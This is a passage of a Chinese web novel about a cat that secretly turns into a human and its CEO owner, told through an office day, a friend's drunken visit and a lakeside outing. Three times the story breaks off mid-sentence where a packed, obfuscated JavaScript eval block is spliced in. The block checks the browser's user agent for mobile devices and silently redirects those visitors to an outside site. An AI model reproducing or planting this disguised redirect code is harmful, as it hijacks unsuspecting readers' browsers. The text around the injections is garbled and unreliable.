于是司机今天发现,总裁一手提着电脑,一手抱着一只猫。上车时小猫闹腾空不出手,低下头,用鼻尖碰了碰小猫的鼻尖,小声道:“老实点睡。” 南南蹭了蹭他的手,没醒。 等南南迷迷糊糊把毯子踢开,感觉有点凉时,温时序已经安排完工作,正回到休息室准备替它盖上。 就在他伸手的瞬间,南南突然睁开了眼。 那动作落在南南眼里,怎么看都像是温时序故意把毯子拿走。 南南愣住了。 不是吧?自己要上班,还不让猫睡了? 要不要那么小气? 温时序对上那双满含谴责的眼睛,没说话,只把毯子拎起来,轻轻盖回它脑门上,暂时隔绝那道目光。 南南费劲巴拉把毯子拨开,不满地瞪过去,可惜圆溜溜的眼睛实在没什么威慑力。 温时序由着它在自己手边乱挠,语气平淡地叮嘱:“来公司要乖一点,不准乱跑。” 南南没吭声,只是安静下来,四下看了看。 刚才在休息室的床上,被子里满是温时序的味道,熟悉到让它毫不怀疑自己还在家里。直到此刻才发现,这里好像不是家。 南南一脸哀怨地喵了两声,拿脑袋蹭了蹭温时序的手背。 为什么不让猫在家玩?院子那么大,昨天还没逛完呢。 “撒娇也没用,谁昨天往金鱼池里摔了?”温时序铁了心不为所动。 话音刚落,南南的动作就僵住了,歪着脑袋盯着温时序,震惊他怎么连这都知道。 温时序怕它以后故意躲着,当然不会主动解释监控的事,只是故作高深地笑了笑,意味深长道:“总之,你做什么我都知道。所以今天你要是敢在外面乱跑,等着晚上只能吃干巴巴的猫粮吧。” 威胁一只猫。 人,你赢了。 南南默默把头埋进被子里,只露出尾巴耷拉在外面,看起来可怜极了。但温时序清楚,这只是看起来而已。 外面助理已经在等,他不好再哄,只伸手轻轻点了点那条尾巴:“我不关这里的门,就在外间办公室,无聊了自己出来。” 南南摇了两下尾巴,算是回应。 不过也没消停太久。 对猫来说,去哪不是逛?这里也是第一次来,当然要好好探索一番。 它先在床上巡视了一圈。休息室很简约,跟家里房间的摆设其实没什么区别,就是东西少,生活气息也少,几乎一览无余。 但南南依然很有耐心。 它先在枕头上来回踩了几个来回,把那个凹痕踩得更软了些。然后躺下来,从左边滚到右边,又从右边滚回来,确保每一寸床单都沾上自己的味道。 滚完了,它跳下床,开始巡视休息室的角落,试图在这里留下更多自己的气息。 窗帘后面,钻进去又钻出来,再蹭一下。 衣柜和茶几腿,都能被雨露均沾地宠幸。 最后到门边,它抬起前爪,在门框上认认真真地扒拉了几下,留下几道若有若无的抓痕。 直到把整个休息室都走了一遍,南南才停下来,仰着脑袋,仔细嗅了嗅空气。 嗯,温时序的味道还在,但里面已经参杂了一些自己的味道。 淡淡的,但确实有了。 南南满意地点点头,尾巴高高翘起来,原地转了两圈,准备去看看温时序有没有好好工作。 南南探头探脑地从休息室溜出来时,温时序正坐在办公桌后面看合同,眉心微蹙,完全没注意到它。 它先是在地毯上打了个滚它用力蹭了蹭背,又翻过来蹬了两下腿,玩够了才爬起来。 后来盯上落地窗。 窗外是高楼大厦,阳光透进来洒了一地。南南冲过去追自己的影子,追了两圈发现追不上,莫名觉得被自己蠢到了,决定放弃。 在地上发现了支笔,推了下,看着笔滚了两圈,又追上去补了一爪子。 笔滚到了办公桌底下。 南南毫不犹豫地钻进去,追着那支笔又拍又咬。等它玩够了从桌子底下钻出来,发现自己已经到了温时序脚边。 它抬头看了看,温时序还在看合同,眉头微皱。 南南胆子大了起来,沿着椅腿往上爬,借力蹬了下,成功跳上温时序的膝盖。温时序动了动,低头瞥它一眼,没说什么,又继续看合同。 没有被推开,南南开始得寸进尺,从膝盖跳上桌沿,再从桌沿踱步到合同正中央,一屁股坐下去。 温时序的笔顿住了。 南南刚准备趴下,低头一看,一撮自己的猫毛,正明晃晃地落在合同上。 它愣住了。 完蛋。 南南心虚地用爪子去拨那撮毛,想把它弄走,结果爪子一划拉,毛没拨掉,反倒把合同上蹭出一道灰印。 它抬头,对上温时序的目光。 南南不说话了,温时序知道它每次心虚就这样,也没怪它,只是伸手,用指腹轻轻把那点灰擦掉,语气平淡:“晚上没洗澡不准上床,休息室的也不准。” 南南听完,直接往桌上一趴,挑衅似的用尾巴拍了一下桌面。 温时序没理它,继续看合同。 南南等了等,发现他没反应,又站起来,故意在合同上走来走去,每一步都踩得很用力。 下一秒,它被人拎着后颈放到了地上。 南南放弃招惹温时序,转头就跳上了沙发,用力蹦了两下,发现不对劲。 不对,这沙发怎么没有家里的软? 它停下来,用爪子按了按,又趴下去感受了一下,最后得出结论:不行,差评。 失去兴趣的南南从沙发上跳下来,又开始寻找新目标。 办公桌最下面有一个柜门,它凑过去,用爪子扒拉着柜门缝隙,扒了半天没扒开,急得用脑袋去顶。 身后传来一声轻叹。 温时序弯腰,替它拉开柜门:“里面没什么东西。” 南南把脑袋探进去看了看,确实只有几个本子。 它悻悻地缩回脑袋,冲温时序点了点头。 温时序失笑,重新坐回去。 中午十二点,助理敲门进来,手里提着两个餐盒。 温时序接过,把其中一份打开,饭量不算多,但明显超过了一只猫应该吃的份量。 把猫送进休息室,他把餐盒放在茶几上,低头看南南:“你的午饭。” 南南仰头看他。 温时序直起身,贴心地把门带上:“自己慢慢吃。” 门关上了。 它等了一会儿,确认门不会再打开,然后眨眼之间,休息室里多了一个人。 温时序靠在椅背上,手机屏幕里,休息室的画面清晰可见。 南南变成人之后,第一件事不是吃饭,而是直奔衣柜,但穿的过程还是手忙脚乱。 好不容易穿好衣服,终于开始埋头吃饭,吃得很认真,夹起鱼的时候开心地眯了眯眼睛,脸上写满满足。 温时序默默记下了南南爱吃的菜。 直到他吃饱变回猫,温时序才进去把他捞出来:“想喝牛奶吗?” 南南点头。 温时序去给他热了,到端着热好的牛奶推开办公室的门,没看见猫。 他顿了一下,看向自己的办公椅。 南南在那儿。 准确地说,是摊在那儿。 毫无形象地陷在真皮椅里,后背靠着椅背,但屁股早就下滑,四条腿完全放弃管理,东倒西歪地搭着。 肚子朝上,闭着眼,睡得毫无防备。 温时序站在门口看了好久。 这个姿势,这个位置,这副理直气壮占领他办公椅的模样。 他把牛奶轻轻放在桌上。 南南没醒。 温时序弯腰,先调整一下它的狼狈姿势,又伸手揉了揉它露出来的肚子。 南南动了动,四条腿蹬了两下,翻了个身,把脸埋进椅背里,换了个姿势接着睡,只剩下一个圆滚滚的屁股对着外面。 温时序直起身,看着它。 算了。 绕到办公桌另一侧,把文件往旁边挪了挪继续看。 办公室里安静得很,只有翻动纸张的轻响。 南南醒来的时候,办公室里空荡荡的。 它趴起来,抖了抖毛,发现办公室的门开着,一眼能望到外面走廊。 温时序不知道去哪儿了。 南南蹲在椅子边缘,尾巴在身后慢悠悠地晃。 新地盘的吸引力太大了,即使温时序早上威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467742|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胁过“晚上只能嚼干巴巴的猫粮”,它还是想出去看看。 有本事把咪饿死啊! 南南从椅子上跳下来,迈着小碎步走到门口,探出半个脑袋左右看了看。 没人。 它深吸一口气,一股脑往外冲。 办公区比想象中热闹,键盘声噼里啪啦响。南南贴着墙根走,走了几步,发现好像没人注意到它。 他停下来,试探性地叫了一声: “喵。” 离他最近的一个格子间里,一个戴眼镜的女生猛地抬起头。 然后她笑了。 “哎呀,是温总早上带来的那只猫!” 话音刚落,周围好几个脑袋同时探出来。 “在哪在哪?” “好小一只!” 南南还没来得及反应,已经被一群人围住了。一只温柔的手落在它脑袋上,揉了揉,又揉了揉。 “好软。” “叫什么呀?助理说叫南南是吧?” “南南!过来过来——” 有人给他递肉干,开了个头之后,越来越多人开始给它投喂。 等它反应过来的时候,面前已经堆了一小堆吃的。 南南看着这堆吃的,又看看面前笑眯眯的一群人,陷入了沉思。 叼不完。 根本叼不完。 有人翻出一个巴掌大的帆布包,把吃的都装进去,然后拎起来,在南南身上比划了一下。 “给你背上试试?” 南南很配合地站着不动。两根带子从前爪两边套过去,小包稳稳当当地挂在了他身上。 不大不小,刚刚好。 南南看了看身上的小包,尾巴翘得老高。转身,迈着六亲不认的步伐,往回走。 好不容易穿过办公区,拐进走廊,远远看到了温时序办公室的门。 门还是敞着的。 不过这次门口站着一个人。 温时序靠在门框上,双手抱臂,正看着它。 南南的脚步顿住了。 温时序的目光从他身上移到那个帆布包上,又从帆布包移回它脸上,眉毛微微挑起来。 南南读不懂那个表情,但它知道。 它晚上绝对不能吃猫粮。 南南低下头,小跑着过去,在温时序脚边站定,仰起头,晃了晃身子,让那个小包在温时序面前晃得更明显一点。 人,你看。 咪出去觅食了。 咪带吃的回来了。 咪养你。 温时序低头看着它,半天没动。 然后他弯下腰,把那根带子从南南身上取下来,把包拎在手里。 包里装着满满当当的零食,全是南南刚在外面收到的“战利品”。 南南眼睛亮亮的,尾巴在身后晃来晃去。 温时序看着那双眼睛,无奈地叹了口气。 “我没想真罚你。”他蹲下来,伸手揉了揉南南的脑袋,“只是怕你跑出去遇到危险。” 南南蹭了蹭他的手心,然后把目光转向那个包。 温时序顺着他的目光看过去,把包里的零食拿出来放到桌上。刚放完,南南就凑过去,叼起那个空包,往后退了两步。 它叼着包,看着温时序,尾巴晃得更快了。 温时序愣了一下。 “想要这个包?” 南南点点头。 其实也说不上多喜欢,只是觉得有个包很好用,可以装吃的,可以背着走,以后出去觅食方便多了。 温时序看着它这副样子,忽然笑了。 “一个包就能把猫骗走。”他伸手把包从南南嘴里轻轻拿下来,“我送你一个新的,更好的。” 南南歪着头看他。 温时序把空包放到一边,然后弯腰把南南抱起来。 南南还没来得及反应,温时序的鼻尖已经贴了过来,轻轻碰了碰它的鼻尖。 温热的,柔软的,带着一点淡淡的气息。 南南愣住了。 怎么可以随便这样对一只猫?! 它猛地从温时序怀里挣出来,四爪落地,头也不回地窜进了休息室。 门没关,但它在床上找了个最远的角落,把自己团成一个球,只露出一个后脑勺对着门口。 温时序站在原地看着它的背影,愣了好几秒。 他低头看了看自己的手,又看了看休息室的方向。 什么意思? 嫌弃我送包? 8. 秘密能瞒多久呢? 小帆布包是买回来了,可南南明显还在躲人。平时吃到好吃的都会去蹭蹭温时序的手,这两天吃完就跑,只有在睡觉时才愿意靠近。温时序为了哄它,特意煮了一大碗它最爱吃的虾仁,可惜依旧没能获得原谅。 直到温时序突然开窍,在南南最爱趴着晒太阳的角落摆上一张摇椅。 南南跳上去试了一下,很满意。 “不知道之前怎么惹你生气了,但我知道错了,原谅我好不好?”温时序趁机摸摸南南的头,眼巴巴看了几天,终于得到允许。 “喵。”南南拱了拱温时序的手以示回应。 人,我们之前有点暧昧了,下次不许跟咪那么亲密。 一张摇椅效果这么显著,温时序很满意。 直到他发现晚上南南彻底不上床了,往摇椅上一趴就作势要睡觉。 温时序不乐意了,静静蹲在南南面前不说话。等南南受不了这股灼热的视线,主动抬头,他才开口。 “不是说原谅我了吗?你骗人。”温时序捏着南南的脸,不让它视线乱飘。 怕了你了。 南南放弃摇椅,老老实实跟着温时序回房间,睡回自己平常睡的位置,又被温时序拉近了一点。 人,好热。 南南让温时序磨得没脾气了,直手直脚躺着一动不动。 温时序被它这样子逗笑了,招呼它过来,举了举手机:“来我这里,教你怎么用手机。” 屏幕亮着,壁纸依旧是南南的照片。 南南看到这个就跃跃欲试。 是不是会用这个叫“手机”的东西,它也能给温时序拍丑丑的大头照了?全然忘了这张照片是自己当初乱碰才拍出来的。 有了学习的动力,南南精神起来,非常自觉地窝到温时序怀里。 其实温时序也有意教南南更多东西。虽然他一直盯着南南,但难免有疏忽的时候,担心哪天南南在外面变成人,不能很好地适应社会。会用手机的话,至少遇到什么事可以打电话找他。 “之前写在纸条上的电话号码记住了吗?” 南南骄傲地点头。 温时序有些惊讶,故意按下一串错误的号码,问南南对不对。南南坚定地摇头。直到他按下正确的,南南才点头。 “聪明小猫。”温时序挠了挠南南的下巴,惹得它舒服地眯了眯眼睛,“最后再按这个绿色的键,你就能听到我的声音了,知道吗?” 南南兴致勃勃地尝试,无奈猫爪不太灵敏,在手机上戳了好久才按完。 “您好,您拨打的电话正在通话中,请稍后再拨。” 人,这不是你的声音,你骗猫。 南南“喵喵”控诉着温时序撒谎,尾巴用力砸在温时序身上。 结果他小腹太硬,反而痛到自己了。 温时序捏了捏南南的尾巴:“我没骗你,你用我的手机打给我,当然接不到电话。何况现在,我的声音确实在啊,一直在。” 南南震惊了,从温时序手上把自己的尾巴拽回来。 就算你很会说甜言蜜语,也不能随便这样揉捏一只猫的尾巴。 南南算是发现了,温时序真的毫无边界感! 然而手机实在太有诱惑力了。温时序刚教到怎么用搜索引擎、怎么刷小视频,南南就已经彻底挪不开眼。更让它惊喜的是,自己的猫爪点别的有点费劲,划视频却格外顺手。随便扒拉一下就能刷到下一条,胡乱拍两下还能歪打正着点个赞。 南南彻底不想学别的了,抱着手机看得津津有味。一察觉到温时序有把手机拿回去的意图,它就扭来扭去地耍赖,死活不肯撒手。 温时序拿它没辙,在彻底放任之前,还是认真叮嘱:“玩一会儿就还我,不能乱动其他东西,也不能太沉迷……”他顿了顿,不确定猫会不会近视,又补充道,“别靠太近,对眼睛不好。” 南南胡乱点了两下头,敷衍的态度展示得淋漓尽致。 温时序气结,趁它还盯着屏幕,一把将手机抽走。 南南在床上滚了两圈,发现他真的不给,终于服了软。两只前爪拱在一起,学着人的样子拜了拜,眼神可怜巴巴。 直到重新拿回手机,它立刻背对着温时序,演都懒得演了。 温时序摇摇头,随它去了,低头继续看自己的资料。 一人一猫各忙各的,倒也有几分岁月静好的意思。 可是这番平静并没有维持太久。 门铃响了。温时序起身去开门,刚拉开一条缝,浓重的酒气就扑面而来。门外的人踉跄站着,嘴里还在含糊地抱怨:“你怎么不接电话……” 温时序瞬间明白了,肯定是南南把他电话给挂了,学得还挺快。 来人是温时序从小一起长大的好友林见溪。 看他醉得迷迷糊糊,温时序只好把人扶进屋里。 趁接水的功夫,他折回房间,把自己的手机从南南爪子里抽走。南南还想挣扎,被温时序一句“偷偷挂我电话?”堵得心虚,缩着脖子不敢动了。 南南循着客厅传来的鬼哭狼嚎声溜达过去,正好温时序也端着蜂蜜水从厨房出来,看见南南那副好奇又期待的表情,叹了口气,把杯子递给林见溪,又另找了一只小碗,倒了些蜂蜜水进去,搁在茶几边上,招呼南南来尝尝。 林见溪一口气灌完整杯蜂蜜水,也不管南南喝没喝完,一把捞起它就往怀里按,开始哭。 一开始只是小声抽噎,后来愈演愈烈,直接嚎啕起来,手上的劲儿也大了:“时序,他不要我了!不要我了……” 其实那个力道并不疼,但南南被他突如其来的动作吓得僵在原地,动也不敢动,只能拼命用眼神向温时序求救。 人,拿出你平时哄我的本事,让这个人别哭了。 温时序伸手掰了掰林见溪的手指:“说话就说话,别掐那么用力,那是我家猫。” 林见溪点点头,手上松了些,情绪却依然激动,死活不肯放开南南。温时序见南南没有不适的表情,也就随他去了。 “他说要分手,我回家他东西全搬走了,一件都没留,所有联系方式都拉黑我了。”林见溪说着说着,一滴眼泪落在南南身上。 “喵——!” 原本还勉强忍耐的南南瞬间炸毛,疯狂挣扎着往别处跳。它不讨厌这个人,但它不要被眼泪砸到! “你家猫都嫌弃我!”林见溪抓不住它,索性往沙发上一倒,抓起靠枕就往脸上糊。 温时序拦都拦不住,嫌弃地瞥了他一眼:“能不能别那么埋汰,别说猫了,我都嫌弃你。” 林见溪也不反驳,自顾自絮絮叨叨地开始讲。 关于林见溪口中的那个人,温时序并非一无所知。这些年断断续续听过不少,但道听途说终究和当事人亲口讲述不一样。 那些细碎的片段和被反复咀嚼的细节,被拼凑出一段他从不知道的感情全貌。 南南本来已经跑回房间了,可是温时序不在,它翻来覆去睡不着,最后还是跑回客厅,蜷在温时序腿边,安静地听林见溪说话。 故事并不复杂,不过是两个人在一起,又分开了。 从林见溪的话里,它能感觉到那两个人明明很在乎对方。记得对方的喜好,在意对方的感受,为对方做过很多很多事。 可为什么,两个相爱的人会分开呢? 它偷偷抬起头,看了看温时序的侧脸。 客厅的灯光落在他肩上,柔和又安静。他在认真听林见溪说话,偶尔开口应一两句,语气平淡却让人安心。 南南又把脑袋埋回爪子里。 它不太懂人类的感情。那些弯弯绕绕和欲言又止,对它来说太复杂了,它终归只是一只猫而已。 但它好像听懂了一件事,原来太爱了,也会痛苦。 它想,如果是它,它不会离开对自己好的人。 温时序对它很好。从那个把它轻轻拎起的傍晚开始,从给它取名字开始,从每一个抚摸和每一声“南南”开始。 它不会离开温时序。 想到这里,南南又忍不住偷偷看了他一眼。温时序正低头给林见溪递纸巾,没有发现它的目光,更不会知道此刻这只小猫丰富的心理活动。 不知道过了多久,林见溪终于慢慢缓了过来。声音还带着哭过的沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467743|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑,却已经能平静地说话了:“在我这里,他是我的唯一选择。可是在他那里,我都不知道自己算什么。” 南南低下头,又开始认真思考。 它只有温时序,温时序也只有一只猫。 还好还好,他们都是彼此的唯一。 “时序,”林见溪忽然问,“你能接受重要的人有事瞒着你吗?” 南南的耳朵微微一动。 它能变成人的事,一直藏在心里。 它突然很想知道温时序的答案。 抬起头,正好对上温时序似笑非笑的视线:“我当然不接受,希望他可以主动坦白。” 南南心里一紧,含糊地“喵”了两声,飞快把脑袋低下去。 “对啊,”林见溪接过话头,声音还带着哭过的闷,“别说人了,如果有感情的话,你家猫瞒着你偷吃了辣条,理由是为了不让你担心,你也不会接受吧?” 人,你别说了。 南南把头埋得更低,几乎要藏进自己的爪子里。 你这个形容让咪很慌,因为偷吃不是咪瞒着的最大的事。 “嗯。”温时序应了一声,“万一他是有什么不得已的理由呢?” 南南的耳朵又悄悄竖起来。 “不接受。”林见溪说,语气没有起伏,“无论什么原因。” 南南的心沉了沉,林见溪的答案也会是温时序的答案。 它把脑袋彻底埋进爪子里,不敢再看温时序。 后来他们又说了什么,南南没有听进去。它缩在温时序腿边,思绪却飘得很远很远。 它想起自己还在流浪的日子。 那时候它又瘦又小,浑身脏兮兮的,见人就躲。每个人都嫌弃它,路过时绕着走,偶尔有人多看它一眼,眼神里也只有嫌弃。 直到那天,温时序蹲下来,伸出手。 他没有像别人那样挥开它,只是轻轻拎起它的后颈。那双手很暖,动作很轻。 “是你要的?”他说。 于是它吃到了完全属于自己的火腿肠。 南南不知道自己什么时候睡着的。它只记得迷迷糊糊间,一双手把它抱了起来。 它动了动,找了个舒服的姿势,窝进那个熟悉的怀里。 后来它醒过一次。 房间里很黑,窗帘缝隙里透进来一点点光。温时序睡在它旁边,呼吸平稳而绵长。 南南趴在枕头上,静静地看着他的脸。 它很少有认真看温时序的时候。此刻才发现,他的右眼皮上,有一颗很小很小的痣。 它不是故意要瞒着他的。 只是它不知道,温时序能不能接受自己的猫,会变成一个人。 它试着换位思考了一下。 如果温时序突然变成一只猫,它可以接受吗? 好像可以。 温时序变成猫,那也是温时序。它不会嫌弃他,不会赶他走,不会因为他是猫就不爱他。 可是……根本没有可比性。 它只是一只猫,一只被捡回来的流浪猫。温时序为它做了那么多,它什么都没有为他做过。 它害怕说出来之后,那个温暖的怀抱不再属于它。 南南的眼睛突然有点酸。 它往温时序身边蹭了蹭,把脑袋抵在他的手臂上。 人,如果以后你知道了,能不能……不要生咪的气。 不要赶咪走。 咪会努力补偿你的。 温时序像是察觉到了什么,睡意朦胧间动了动,手臂自然地搭过来,把它往怀里带了带,声音微哑:“怎么了?睡不着?” 南南没动,也没出声。 它只是往那个怀里又埋了埋,把自己埋得更深。 温时序没有再问。他的手无意识地落在它背上,轻轻抚了两下,很快又沉沉睡去。 黑暗中,南南闭着眼睛,听着他平稳的心跳。 它想,它以后会乖乖听话,一定要对温时序很好很好。 这样,就算有一天秘密藏不住了,温时序也会舍不得赶它走吧? 南南在温时序怀里,慢慢睡着了。 9. 小猫不会嫌弃人,真的 不对劲,十分里有一百分的不对劲。 南南最近老老实实待在家里没有到处跑,吃饭的时候不用三催四请就很快把蔬菜吃完,就连温时序回家,都会飞快跑出来迎接。 这番场景温时序刚养猫的时候还幻想过,现在他非但没有高兴,反而开始有点紧张了。 又怎么了我的小祖宗? 在南南又一次凑过来的时候,温时序把猫捞了起来:“怎么了南南,不开心?” 南南摇摇头。 它只是打算乖一点,这样温时序应该会更喜欢它一点。 不过南南这段时间学会了看电视。 温时序每天在监控里都能看见少年盘腿端坐在沙发上,抱着几包零食嚼得津津有味,目不转睛盯着屏幕。刚开始嫌《猫和老鼠》太无聊,看了两集就皱着眉去搜其他的,不会打字,只能在推荐页随便打开一部电视剧。后来看多了,也多少记得关键词,抱着遥控器语音输入,专挑感情浓烈的爱情片,看到高潮时还会用力抱紧抱枕。它觉得在电视剧里可以学到很多东西,这样就不用温时序浪费时间慢慢教。 见问不出什么,温时序只好作罢,他姑且认为南南只是沉迷于看电视。 直到南南从早到晚都守着电视,猫形人形都维持着差不多的姿势,屁股非必要不离开沙发,温时序才后知后觉发现自己像个溺爱孩子的家长,决心要带小猫出去放放风。 温时序给南南的小包里装了点钱和水,给南南背上。 南南的视线被挡住,还往旁边挪了一下。温时序看它这样子,也跟着它挪,又把猫挡住了。 “喵?”南南的注意力终于落在温时序身上。 “带你出门散散心。”语气不是商量,是通知。 南南朝茶几上的电脑挥了挥爪子。 人,你作为总裁,不用上班吗? 温时序明白它的意思,狠狠打破它想留在家里继续看电视的幻想:“我今天休息,带你出去玩。” 南南看了看电视又看了看温时序,在惹他生气和出门不能看电视之间选择了后者,虽然温时序从来没有生过它气。 自从知道南南可以变成人,温时序买来的猫包就搁置了,不舍得把猫塞去那个狭窄的空间。 温时序把后排车门打开,南南自觉爬上去。其实温时序在纠结,让南南自己坐在后排会不会危险。平时都有司机开车,温时序可以在后排抱着猫,但是今天他不想让其他人跟着。 人,不是要出门吗?你还盯着我干嘛? 温时序哄道:“一定要坐好哦。” “喵?”什么意思?咪是笨蛋吗? 还没来得及挥爪抗议,温时序已经举起双手笑着后退:“好好好,我们南南最聪明了。” 话是这么说,但温时序一路都保持着不算快的车速,平稳抵达目的地。 后视镜里,南南努力抬头往外看,眼睛都想贴到玻璃上。 温时序嘴角翘起来。 管它有什么不对劲,先带小猫出去走走,散散心再说。 不得不说温时序很会挑地方。至少南南下车之后,就彻底把电视抛诸脑后,兴奋地转了两圈,又不敢跑太远,只能重新蹭回温时序脚边,拽着他裤脚催他快走。 阳光透过层层枝桠,光斑落在南南脸上,风一吹,晃得它眯起了眼,等缓过来有追出去逗路边的麻雀。 工作日的湖边没什么人,温时序放心让南南自己乱跑:“想去哪自己去,我在后面跟着你。” 南南跑出一段距离就会停下来,回头看看温时序有没有跟上。看到那个身影永远不远不近地缀在后面,它觉得特别安心。 跑累了就一屁股坐在地上死活不肯走,仰着脑袋装可怜,眼巴巴望着温时序。 温时序明知道它是故意的,还是会心软:“别撒娇了,我抱你就是了。” 南南立刻支棱起来,往他怀里拱,感激地蹭了蹭他的脸。温时序顺势把鼻尖凑过去,等它来碰。 南南犹豫了一下,轻轻贴上去,又飞快地撇过头。 人,只有这一次哦,因为你真的太好太好了。 温时序笑了,手上抱着猫的力度大了些。之前他发现每次碰南南鼻尖,它的反应都怪怪的,专门去查过,在猫的认知里,碰鼻尖是很亲密的行为,堪比人类间的接吻。 南南这一下,至少证明在它心里,自己已经很重要了。 他满意地摸了摸小猫的头,把南南架在肩膀上往回走。走到草坪上,从背包里拿出野餐布摊开,南南这时才发现,这个包的款式跟它的小包很像。 南南蹲在垫子边上,歪着脑袋看他。 温时序把猫捞上来安顿好,又从包里陆续拿出东西:一些切好的水果,两瓶水,最重要的是有几包南南可能会吃的零食。 南南眼睛一亮,直接扑了过去,两只前爪试图把所有的零食都圈进自己怀里,全部据为己有。 温时序眼疾手快,一把拦住。 南南扑了个空,整只猫瘫在野餐垫上,生无可恋地盯着湖面。 小气小气小气!不都是给我的吗?干嘛不让吃。 它很早之前就发现了,温时序根本不爱吃零食。以前买可能还是因为外甥想吃,可是李钦言回家了之后他还买,那不就是给猫买的吗? “没有不让你吃。”温时序捏着它气鼓鼓的猫脸,“但是不能把所有吃的都拿走,这样不礼貌,知道吗?” 南南听到“不礼貌”就睁大了眼睛。 它不可以做不礼貌的猫。这样不好,而且温时序肯定不喜欢。 “喵。” 人,猫知道了。 它老老实实蹲坐好,尾巴规规矩矩圈住自己,等着温时序投喂。 其实温时序带出来的这几包零食都是一些没有添加剂的蔬菜干之类。在外面南南不方便变成人,他不敢保证猫形态的南南吃乱七八糟的零食会不会生病。 南南刚刚有那股激动劲,只是因为不太认识字,只是通过包装勉强辨认出是零食,不知道里面具体是什么。直到温时序拆开一包递过来,它凑过去嗅了嗅。 胡萝卜。 大失所望。 它抬头幽怨地看了温时序一眼,还是低头叼起一块,咔嚓咔嚓嚼起来。 ……咦? 又嚼了两口,尾巴尖翘了翘。 好像,味道也不错? 南南欣然接受了温时序的投喂,咔嚓咔嚓嚼完胡萝卜干,又蹭过去叼走两块秋葵干,吃完了还舔舔爪子,意犹未尽。 吃饱了就开始闲不住,噌地跳下野餐垫,在旁边的草地上乱滚。刚翻了两圈,就滚进一丛蒲公英里,白色的绒毛炸了满身。 它愣住了,低头看看自己,又抬头看看温时序,瘪着嘴凑过来,在他腿边蹭来蹭去,示意他把毛弄下来。 温时序认命地把它捞起来,一根一根拈掉那些细小的绒毛。 消停没一会儿,南南又盯上了湖边。它蹑手蹑脚凑过去,探头往水里看,近岸处果然有一小群鱼苗游来游去。 它大着胆子伸出爪子,往水里捞了一把。 捞了个空。 南南把视线转移到一旁钓鱼的老伯身上,一脸崇拜地看着老伯把鱼拽出水面。 温时序在身后看着,忽然想起某只小猫当初掉进鱼池的“光辉事迹”,实在放心不下,跟了过去。 “想要鱼?”他在南南身边蹲下,“我回去给你买行不行?” 南南盯着水里的鱼,点点头,又摇摇头。 “不要买的?” 南南用力点头。 老伯看到一人一猫的互动觉得有些好笑:“你家猫还挺有灵性啊。” “是啊,小聪明最多了。” 温时序无奈地叹了口气,掏出手机吩咐助理送一套钓鱼工具过来。 南南歪着头看他。 人,你真的可以吗? 等助理把东西送到,温时序熟练地组装鱼竿、挂饵、甩线,一气呵成。南南蹲在旁边,眼睛一眨不眨地盯着水面,尾巴尖期待地轻轻晃动。 温时序瞥了它一眼,觉得自己的猫真的非常非常可爱。 一人一猫就这么坐在湖边等着。偶尔有风吹过,南南的耳朵就会转向水面,捕捉每一丝动静。等得无聊了,它就跳到温时序身上趴下来,下巴搁在他腿上,眼睛还执着地盯着浮漂。 终于,浮漂猛地往下一沉。 温时序收线拉竿,一尾小鱼被拽出水面,银色的鳞片在阳光下闪了闪。 不过……还没巴掌大。 南南看着那条小鱼,又看看温时序,陷入了沉思。 人,你见过正常人钓鱼吗? 它嫌弃的表情过于明显,温时序伸手弹了下它的脑门:“什么意思,嫌弃我?” 南南摇摇头,又点点头,最后犹豫着,幅度极小地点了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467744|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>原来很明显吗? 温时序气笑了,捏着那条还没巴掌大的小鱼在南南面前晃了晃:“带你出门还嫌弃我?嗯?” 南南缩着脖子往后躲,假装没听见。 目光在温时序和那条小鱼之间来回转了几圈,它忽然伸出一只爪子,大义凛然地往鱼身上一拍。小鱼扑通一声掉回湖里,摆摆尾巴游走了。 南南收回爪子,若无其事地舔了舔。 然后它转过身,用脑袋顶着温时序的小腿,使劲把他往野餐垫的方向拱。 人,别钓了。咪不为难你了。 温时序低头看它。 南南仰起脸,眨巴眨巴眼睛,又蹭了蹭他的裤腿。 “……行吧。”温时序收起鱼竿,任由它把自己拽回垫子上,“放了它,只是不知道是我们南南心善,还是嫌弃我。” 南南假装听不懂,自顾自爬上垫子,挑了个最舒服的位置趴下来,尾巴还拍了拍旁边的空处。 温时序躺下来,一只手枕在脑后,另一只手搭在南南背上,有一下没一下地顺着毛。 阳光暖融融的,风从湖面上吹过来,带着一点点凉意。南南眯起眼睛,喉咙里发出咕噜咕噜的声音。 它转头看了看旁边的人。 温时序闭着眼睛,呼吸平缓,像是快睡着了。 南南悄悄把脑袋挪过去,挨着他的肩膀,也闭上了眼睛。 整个下午,一人一猫就这么躺在湖边晒太阳。 